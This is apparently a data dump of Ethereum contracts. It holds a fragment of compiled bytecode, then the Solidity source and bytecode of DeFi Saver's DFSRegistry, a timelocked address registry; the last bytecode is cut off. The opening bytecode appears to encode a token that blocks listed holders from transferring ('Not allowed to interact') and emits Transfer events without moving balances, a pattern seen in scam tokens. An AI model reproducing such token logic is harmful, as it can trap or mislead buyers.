9084610d2c611673565b610d8b85604051806060016040528060288152602001612284602891396001600160a01b038a16600090815260036020526040812090610d6a611673565b6001600160a01b0316815260208101919091526040016000205491906119e8565b611677565b5060019392505050565b60075460ff1690565b600d546001600160a01b03163314610df0576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b60005b8251811015610e6357828181518110610e0857fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206122ac833981519152848481518110610e3e57fe5b60200260200101516040518082815260200191505060405180910390a3600101610df3565b50505050565b600d546001600160a01b03163314610ec8576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600454610ed59082611612565b600455600d546001600160a01b0316600090815260208190526040902054610efd9082611612565b600d546001600160a01b0390811660009081526020818152604080832094909455835185815293519286169391926000805160206122ac8339815191529281900390910190a35050565b600d546001600160a01b03163314610f8f576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b546001600160a01b031681565b600d546001600160a01b0316331461100d576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b60005b8151811015610cec57600180600084848151811061102a57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555061109e82828151811061107857fe5b6020026020010151600b60009054906101000a90046001600160a01b0316600854611677565b600101611010565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b0316331461110e576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b565b600d546001600160a01b0316331461115d576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b60005b8251811015610e6357836001600160a01b031683828151811061117f57fe5b60200260200101516001600160a01b03166000805160206122ac8339815191528484815181106111ab57fe5b60200260200101516040518082815260200191505060405180910390a3600101611160565b600d546000906001600160a01b03163314611220576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b6112348261122c611673565b600854611677565b506001919050565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610bf25780601f10610bc757610100808354040283529160200191610bf2565b600d546001600160a01b031633146112ea576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b60005b8251811015610e6357836001600160a01b031683828151811061130c57fe5b60200260200101516001600160a01b03166000805160206122ac83398151915284848151811061133857fe5b60200260200101516040518082815260200191505060405180910390a36001016112ed565b6000610d0461136a611673565b8484611763565b600d546001600160a01b031681565b600d546001600160a01b031633146113cd576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b546113ff928492911690611677565b50565b600d546001600160a01b0316331461144f576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b61145b8361122c611673565b60005b8251811015610e63576114988484838151811061147757fe5b602002602001015184848151811061148b57fe5b6020026020010151611a7f565b60010161145e565b600d546001600160a01b031633146114ed576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b546008546113ff9284921690611677565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600d546001600160a01b0316331461159f576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b60005b8251811015610e63578281815181106115b757fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206122ac8339815191528484815181106115ed57fe5b60200260200101516040518082815260200191505060405180910390a36001016115a2565b60008282018381101561166c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b0383166116bc5760405162461bcd60e51b81526004018080602001828103825260248152602001806122f16024913960400191505060405180910390fd5b6001600160a01b0382166117015760405162461bcd60e51b815260040180806020018281038252602281526020018061221c6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548391839186916000916001600160a01b0390811691161480156117995750600d546001600160a01b038381169116145b156117c957600980546001600160a01b0319166001600160a01b0386161790556117c4878787611bf8565b6119df565b600d546001600160a01b03838116911614806117f257506009546001600160a01b038381169116145b8061180a5750600d546001600160a01b038581169116145b1561185357600d546001600160a01b03838116911614801561183d5750836001600160a01b0316826001600160a01b0316145b1561184857600a8390555b6117c4878787611bf8565b6001600160a01b03821660009081526001602081905260409091205460ff1615151415611885576117c4878787611bf8565b6001600160a01b03821660009081526002602052604090205460ff1615156001141561190f576009546001600160a01b03838116911614806118d45750600b546001600160a01b038581169116145b6118485760405162461bcd60e51b815260040180806020018281038252602681526020018061223e6026913960400191505060405180910390fd5b600a54831015611970576009546001600160a01b0385811691161415611848576001600160a01b03821660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690556117c4878787611bf8565b6009546001600160a01b03838116911614806119995750600b546001600160a01b038581169116145b6119d45760405162461bcd60e51b815260040180806020018281038252602681526020018061223e6026913960400191505060405180910390fd5b6119df878787611bf8565b50505050505050565b60008184841115611a775760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a3c578181015183820152602001611a24565b50505050905090810190601f168015611a695780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038316611ac45760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6001600160a01b038216611b095760405162461bcd60e51b81526004018080602001828103825260238152602001806121f96023913960400191505060405180910390fd5b611b148383836121f3565b611b518160405180606001604052806026815260200161223e602691396001600160a01b03861660009081526020819052604090205491906119e8565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611b809082611612565b6001600160a01b03808416600090815260208190526040902091909155600d5484821691161415611bba57600c546001600160a01b031692505b816001600160a01b0316836001600160a01b03166000805160206122ac833981519152836040518082815260200191505060405180910390a3505050565b600954600d548391839186916000916001600160a01b039081169116148015611c2e5750600d546001600160a01b038381169116145b15611dc457600980546001600160a01b0319166001600160a01b03868116919091179091558716611c905760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6001600160a01b038616611cd55760405162461bcd60e51b81526004018080602001828103825260238152602001806121f96023913960400191505060405180910390fd5b611ce08787876121f3565b611d1d8560405180606001604052806026815260200161223e602691396001600160a01b038a1660009081526020819052604090205491906119e8565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611d4c9086611612565b6001600160a01b03808816600090815260208190526040902091909155600d5488821691161415611d8657600c546001600160a01b031696505b856001600160a01b0316876001600160a01b03166000805160206122ac833981519152876040518082815260200191505060405180910390a36119df565b600d546001600160a01b0383811691161480611ded57506009546001600160a01b038381169116145b80611e055750600d546001600160a01b038581169116145b15611e8857600d546001600160a01b038381169116148015611e385750836001600160a01b0316826001600160a01b0316145b15611e4357600a8390555b6001600160a01b038716611c905760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6001600160a01b03821660009081526001602081905260409091205460ff1615151415611ef4576001600160a01b038716611c905760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6001600160a01b03821660009081526002602052604090205460ff16151560011415611f7e576009546001600160a01b0383811691161480611f435750600b546001600160a01b038581169116145b611e435760405162461bcd60e51b815260040180806020018281038252602681526020018061223e6026913960400191505060405180910390fd5b600a54831015612012576009546001600160a01b0385811691161415611e43576001600160a01b0382811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558716611c905760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6009546001600160a01b038381169116148061203b5750600b546001600160a01b038581169116145b6120765760405162461bcd60e51b815260040180806020018281038252602681526020018061223e6026913960400191505060405180910390fd5b6001600160a01b0387166120bb5760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6001600160a01b0386166121005760405162461bcd60e51b81526004018080602001828103825260238152602001806121f96023913960400191505060405180910390fd5b61210b8787876121f3565b6121488560405180606001604052806026815260200161223e602691396001600160a01b038a1660009081526020819052604090205491906119e8565b6001600160a01b0380891660009081526020819052604080822093909355908816815220546121779086611612565b6001600160a01b03808816600090815260208190526040902091909155600d54888216911614156121b157600c546001600160a01b031696505b856001600160a01b0316876001600160a01b03166000805160206122ac833981519152876040518082815260200191505060405180910390a350505050505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220c329974d07c104bf97a605373c447f427e29cb4d10247d95ecb9569a4104adaa64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 10,548 |
0xc34364b97a60c66d438ea6fb02cb097a877496c1 | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
abstract contract IDFSRegistry {
function getAddr(bytes32 _id) public view virtual returns (address);
function addNewContract(
bytes32 _id,
address _contractAddr,
uint256 _waitPeriod
) public virtual;
function startContractChange(bytes32 _id, address _newContractAddr) public virtual;
function approveContractChange(bytes32 _id) public virtual;
function cancelContractChange(bytes32 _id) public virtual;
function changeWaitPeriod(bytes32 _id, uint256 _newWaitPeriod) public virtual;
}
interface IERC20 {
function totalSupply() external view returns (uint256 supply);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
function decimals() external view returns (uint256 digits);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {ERC20-approve}, and its usage is discouraged.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/// @title AdminAuth Handles owner/admin priviligies over smart contracts
contract AdminAuth {
using SafeERC20 for IERC20;
address public owner;
address public admin;
modifier onlyOwner() {
require(owner == msg.sender, "msg.sender not owner");
_;
}
modifier onlyAdmin() {
require(admin == msg.sender, "msg.sender not admin");
_;
}
constructor() {
owner = msg.sender;
admin = 0x25eFA336886C74eA8E282ac466BdCd0199f85BB9;
}
/// @notice Admin is set by owner first time, after that admin is super role and has permission to change owner
/// @param _admin Address of multisig that becomes admin
function setAdmin(address _admin) public onlyOwner {
require(admin == address(0), "admin is already set");
admin = _admin;
}
/// @notice Admin is able to set new admin
/// @param _admin Address of multisig that becomes new admin
function changeAdmin(address _admin) public onlyAdmin {
admin = _admin;
}
/// @notice Admin is able to change owner
/// @param _owner Address of new owner
function changeOwner(address _owner) public onlyAdmin {
owner = _owner;
}
/// @notice withdraw stuck funds
function withdrawStuckFunds(address _token, address _receiver, uint256 _amount) public onlyOwner {
if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {
payable(_receiver).transfer(_amount);
} else {
IERC20(_token).safeTransfer(_receiver, _amount);
}
}
/// @notice Destroy the contract
function kill() public onlyAdmin {
selfdestruct(payable(owner));
}
}
contract DefisaverLogger {
event LogEvent(
address indexed contractAddress,
address indexed caller,
string indexed logName,
bytes data
);
// solhint-disable-next-line func-name-mixedcase
function Log(
address _contract,
address _caller,
string memory _logName,
bytes memory _data
) public {
emit LogEvent(_contract, _caller, _logName, _data);
}
}
/// @title Stores all the important DFS addresses and can be changed (timelock)
contract DFSRegistry is AdminAuth {
DefisaverLogger public constant logger = DefisaverLogger(
0x5c55B921f590a89C1Ebe84dF170E655a82b62126
);
string public constant ERR_ENTRY_ALREADY_EXISTS = "Entry id already exists";
string public constant ERR_ENTRY_NON_EXISTANT = "Entry id doesn't exists";
string public constant ERR_ENTRY_NOT_IN_CHANGE = "Entry not in change process";
string public constant ERR_WAIT_PERIOD_SHORTER = "New wait period must be bigger";
struct Entry {
address contractAddr;
uint256 waitPeriod;
uint256 changeStartTime;
bool inChange;
bool exists;
}
mapping(bytes32 => Entry) public entries;
mapping(bytes32 => address) public pendingAddresses;
/// @notice Given an contract id returns the registred address
/// @dev Id is keccak256 of the contract name
/// @param _id Id of contract
function getAddr(bytes32 _id) public view returns (address) {
return entries[_id].contractAddr;
}
/// @notice Helper function to easily query if id is registred
/// @param _id Id of contract
function isRegistered(bytes32 _id) public view returns (bool) {
return entries[_id].exists;
}
/////////////////////////// OWNER ONLY FUNCTIONS ///////////////////////////
/// @notice Adds a new contract to the registry
/// @param _id Id of contract
/// @param _contractAddr Address of the contract
/// @param _waitPeriod Amount of time to wait before a contract address can be changed
function addNewContract(
bytes32 _id,
address _contractAddr,
uint256 _waitPeriod
) public onlyOwner {
require(!entries[_id].exists, ERR_ENTRY_ALREADY_EXISTS);
entries[_id] = Entry({
contractAddr: _contractAddr,
waitPeriod: _waitPeriod,
changeStartTime: 0,
inChange: false,
exists: true
});
logger.Log(
address(this),
msg.sender,
"AddNewContract",
abi.encode(_id, _contractAddr, _waitPeriod)
);
}
/// @notice Starts an address change for an existing entry
/// @dev Can override a change that is currently in progress
/// @param _id Id of contract
/// @param _newContractAddr Address of the new contract
function startContractChange(bytes32 _id, address _newContractAddr) public onlyOwner {
require(entries[_id].exists, ERR_ENTRY_NON_EXISTANT);
entries[_id].changeStartTime = block.timestamp; // solhint-disable-line
entries[_id].inChange = true;
pendingAddresses[_id] = _newContractAddr;
logger.Log(
address(this),
msg.sender,
"StartChange",
abi.encode(_id, entries[_id].contractAddr, _newContractAddr)
);
}
/// @notice Changes new contract address, correct time must have passed
/// @dev Can override a change that is currently in progress
/// @param _id Id of contract
function approveContractChange(bytes32 _id) public onlyOwner {
require(entries[_id].exists, ERR_ENTRY_NON_EXISTANT);
require(entries[_id].inChange, ERR_ENTRY_NOT_IN_CHANGE);
require(
block.timestamp >= (entries[_id].changeStartTime + entries[_id].waitPeriod), // solhint-disable-line
"Change not ready yet"
);
address oldContractAddr = entries[_id].contractAddr;
entries[_id].contractAddr = pendingAddresses[_id];
entries[_id].inChange = false;
entries[_id].changeStartTime = 0;
pendingAddresses[_id] = address(0);
logger.Log(
address(this),
msg.sender,
"ApproveChange",
abi.encode(_id, oldContractAddr, entries[_id].contractAddr)
);
}
/// @notice Cancel pending change
/// @param _id Id of contract
function cancelContractChange(bytes32 _id) public onlyOwner {
require(entries[_id].exists, ERR_ENTRY_NON_EXISTANT);
require(entries[_id].inChange, ERR_ENTRY_NOT_IN_CHANGE);
address oldContractAddr = pendingAddresses[_id];
pendingAddresses[_id] = address(0);
entries[_id].inChange = false;
entries[_id].changeStartTime = 0;
logger.Log(
address(this),
msg.sender,
"CancelChange",
abi.encode(_id, oldContractAddr, entries[_id].contractAddr)
);
}
/// @notice Changes wait period for an entry
/// @param _id Id of contract
/// @param _newWaitPeriod New wait time, must be bigger than before
function changeWaitPeriod(bytes32 _id, uint256 _newWaitPeriod) public onlyOwner {
require(entries[_id].exists, ERR_ENTRY_NON_EXISTANT);
require(_newWaitPeriod > entries[_id].waitPeriod, ERR_WAIT_PERIOD_SHORTER);
entries[_id].waitPeriod = _newWaitPeriod;
logger.Log(address(this), msg.sender, "ChangeWaitPeriod", abi.encode(_id, _newWaitPeriod));
}
} | 0x608060405234801561001057600080fd5b50600436106101365760003560e01c8063704b6c02116100b8578063c579d4901161007c578063c579d490146103bf578063c641eca7146103f5578063e3976edf146103fd578063ee5c989d1461041a578063f24ccbfe14610422578063f851a4401461042a57610136565b8063704b6c02146103135780638da5cb5b146103395780638f28397014610341578063a6f9dae114610367578063c16229fa1461038d57610136565b80632ce6df02116100ff5780632ce6df021461028a57806341c0e1b5146102925780634ccee9b61461029a57806355974ce8146102d357806361fd78ce146102f657610136565b806215e5a11461013b57806310c172c6146101695780632007cbcc14610186578063267b69221461020357806327258b2214610259575b600080fd5b6101676004803603604081101561015157600080fd5b50803590602001356001600160a01b0316610432565b005b6101676004803603602081101561017f57600080fd5b50356106e3565b61018e61097f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101c85781810151838201526020016101b0565b50505050905090810190601f1680156101f55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102206004803603602081101561021957600080fd5b50356109b2565b604080516001600160a01b0390961686526020860194909452848401929092521515606084015215156080830152519081900360a00190f35b6102766004803603602081101561026f57600080fd5b50356109f1565b604080519115158252519081900360200190f35b61018e610a0e565b610167610a41565b6102b7600480360360208110156102b057600080fd5b5035610aa5565b604080516001600160a01b039092168252519081900360200190f35b610167600480360360408110156102e957600080fd5b5080359060200135610ac0565b6101676004803603602081101561030c57600080fd5b5035610d25565b6101676004803603602081101561032957600080fd5b50356001600160a01b0316611038565b6102b7611105565b6101676004803603602081101561035757600080fd5b50356001600160a01b0316611114565b6101676004803603602081101561037d57600080fd5b50356001600160a01b031661116a565b610167600480360360608110156103a357600080fd5b508035906001600160a01b0360208201351690604001356111e2565b610167600480360360608110156103d557600080fd5b506001600160a01b038135811691602081013590911690604001356114a3565b61018e611573565b6102b76004803603602081101561041357600080fd5b50356115ac565b61018e6115c7565b6102b7611600565b6102b7611618565b6000546001600160a01b03163314610488576040805162461bcd60e51b815260206004820152601460248201527336b9b39739b2b73232b9103737ba1037bbb732b960611b604482015290519081900360640190fd5b6000828152600260209081526040918290206003015482518084019093526017835276456e74727920696420646f65736e27742065786973747360481b91830191909152610100900460ff1661055c5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610521578181015183820152602001610509565b50505050905090810190601f16801561054e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600082815260026020818152604080842042818501556003808201805460ff19166001179055835281852080546001600160a01b038089166001600160a01b031990921682179092559484529054825180850189905291168183015260608082019490945281518082039094018452608080820192839052630d061ce560e41b90925230608482018181523360a4840181905260c48401948552600b6101048501526a53746172744368616e676560a81b61012485015260c060e4850190815287516101448601528751735c55b921f590a89c1ebe84df170e655a82b621269963d061ce5099959893979596949594929361016490930192870191908190849084905b83811015610678578181015183820152602001610660565b50505050905090810190601f1680156106a55780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156106c757600080fd5b505af11580156106db573d6000803e3d6000fd5b505050505050565b6000546001600160a01b03163314610739576040805162461bcd60e51b815260206004820152601460248201527336b9b39739b2b73232b9103737ba1037bbb732b960611b604482015290519081900360640190fd5b6000818152600260209081526040918290206003015482518084019093526017835276456e74727920696420646f65736e27742065786973747360481b91830191909152610100900460ff166107d05760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610521578181015183820152602001610509565b50600081815260026020908152604091829020600301548251808401909352601b83527f456e747279206e6f7420696e206368616e67652070726f6365737300000000009183019190915260ff166108695760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610521578181015183820152602001610509565b50600081815260036020818152604080842080546001600160a01b031981169091556002808452828620948501805460ff191690558401859055925481518084018790526001600160a01b039485168184018190529490911660608083019190915282518083039091018152608080830193849052630d061ce560e41b90935230608483018181523360a4850181905260c48501958652600c6101048601526b43616e63656c4368616e676560a01b61012486015260c060e48601908152845161014487015284519899735c55b921f590a89c1ebe84df170e655a82b621269963d061ce509995989397949593949293610164909301928701918190849084908315610678578181015183820152602001610660565b60405180604001604052806017815260200176456e74727920696420646f65736e27742065786973747360481b81525081565b600260208190526000918252604090912080546001820154928201546003909201546001600160a01b0390911692919060ff8082169161010090041685565b600090815260026020526040902060030154610100900460ff1690565b60405180604001604052806017815260200176456e74727920696420616c72656164792065786973747360481b81525081565b6001546001600160a01b03163314610a97576040805162461bcd60e51b815260206004820152601460248201527336b9b39739b2b73232b9103737ba1030b236b4b760611b604482015290519081900360640190fd5b6000546001600160a01b0316ff5b6000908152600260205260409020546001600160a01b031690565b6000546001600160a01b03163314610b16576040805162461bcd60e51b815260206004820152601460248201527336b9b39739b2b73232b9103737ba1037bbb732b960611b604482015290519081900360640190fd5b6000828152600260209081526040918290206003015482518084019093526017835276456e74727920696420646f65736e27742065786973747360481b91830191909152610100900460ff16610bad5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610521578181015183820152602001610509565b50600260008381526020019081526020016000206001015481116040518060400160405280601e81526020017f4e6577207761697420706572696f64206d75737420626520626967676572000081525090610c495760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610521578181015183820152602001610509565b50600082815260026020908152604080832060010184905580518083018690528082018590528151808203830181526060820192839052630d061ce560e41b90925230606482018181523360848401819052608060a48501908152601060e48601526f10da185b99d955d85a5d14195c9a5bd960821b61010486015260c060c4860190815286516101248701528651735c55b921f590a89c1ebe84df170e655a82b621269963d061ce50999698949794969394929361014490930192870191908190849084908315610678578181015183820152602001610660565b6000546001600160a01b03163314610d7b576040805162461bcd60e51b815260206004820152601460248201527336b9b39739b2b73232b9103737ba1037bbb732b960611b604482015290519081900360640190fd5b6000818152600260209081526040918290206003015482518084019093526017835276456e74727920696420646f65736e27742065786973747360481b91830191909152610100900460ff16610e125760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610521578181015183820152602001610509565b50600081815260026020908152604091829020600301548251808401909352601b83527f456e747279206e6f7420696e206368616e67652070726f6365737300000000009183019190915260ff16610eab5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610521578181015183820152602001610509565b506000818152600260208190526040909120600181015491015401421015610f11576040805162461bcd60e51b815260206004820152601460248201527310da185b99d9481b9bdd081c9958591e481e595d60621b604482015290519081900360640190fd5b60008181526002602081815260408084208054600380855283872080546001600160a01b03198085166001600160a01b03928316178655928501805460ff191690558488018990558154909216905594845290548251808501889052918516828401819052941660608083019190915282518083039091018152608080830193849052630d061ce560e41b90935230608483018181523360a4850181905260c48501958652600d6101048601526c417070726f76654368616e676560981b61012486015260c060e48601908152845161014487015284519899735c55b921f590a89c1ebe84df170e655a82b621269963d061ce5099959893979495939492936101649093019287019181908490849083811015610678578181015183820152602001610660565b6000546001600160a01b0316331461108e576040805162461bcd60e51b815260206004820152601460248201527336b9b39739b2b73232b9103737ba1037bbb732b960611b604482015290519081900360640190fd5b6001546001600160a01b0316156110e3576040805162461bcd60e51b815260206004820152601460248201527318591b5a5b881a5cc8185b1c9958591e481cd95d60621b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031681565b6001546001600160a01b031633146110e3576040805162461bcd60e51b815260206004820152601460248201527336b9b39739b2b73232b9103737ba1030b236b4b760611b604482015290519081900360640190fd5b6001546001600160a01b031633146111c0576040805162461bcd60e51b815260206004820152601460248201527336b9b39739b2b73232b9103737ba1030b236b4b760611b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314611238576040805162461bcd60e51b815260206004820152601460248201527336b9b39739b2b73232b9103737ba1037bbb732b960611b604482015290519081900360640190fd5b6000838152600260209081526040918290206003015482518084019093526017835276456e74727920696420616c72656164792065786973747360481b91830191909152610100900460ff16156112d05760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610521578181015183820152602001610509565b506040805160a0810182526001600160a01b0384811680835260208084018681526000858701818152606080880183815260016080808b018281528f87526002808a528d88209c518d546001600160a01b0319169c169b909b178c559651918b0191909155925197890197909755955160039097018054935160ff199094169715159790971761ff001916610100931515939093029290921790955585518083018a9052808701939093528284018790528551808403909401845282810195869052630d061ce560e41b90955230608483018181523360a4850181905260c48501978852600e6101048601526d10591913995dd0dbdb9d1c9858dd60921b61012486015260c060e4860190815286516101448701528651735c55b921f590a89c1ebe84df170e655a82b621269963d061ce50999598939793969495909492936101640192870191908190849084905b8381101561143757818101518382015260200161141f565b50505050905090810190601f1680156114645780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561148657600080fd5b505af115801561149a573d6000803e3d6000fd5b50505050505050565b6000546001600160a01b031633146114f9576040805162461bcd60e51b815260206004820152601460248201527336b9b39739b2b73232b9103737ba1037bbb732b960611b604482015290519081900360640190fd5b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee6001600160a01b038416141561155a576040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611554573d6000803e3d6000fd5b5061156e565b61156e6001600160a01b0384168383611627565b505050565b6040518060400160405280601e81526020017f4e6577207761697420706572696f64206d75737420626520626967676572000081525081565b6003602052600090815260409020546001600160a01b031681565b6040518060400160405280601b81526020017f456e747279206e6f7420696e206368616e67652070726f63657373000000000081525081565b735c55b921f590a89c1ebe84df170e655a82b6212681565b6001546001600160a01b031681565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261156e90849060606116c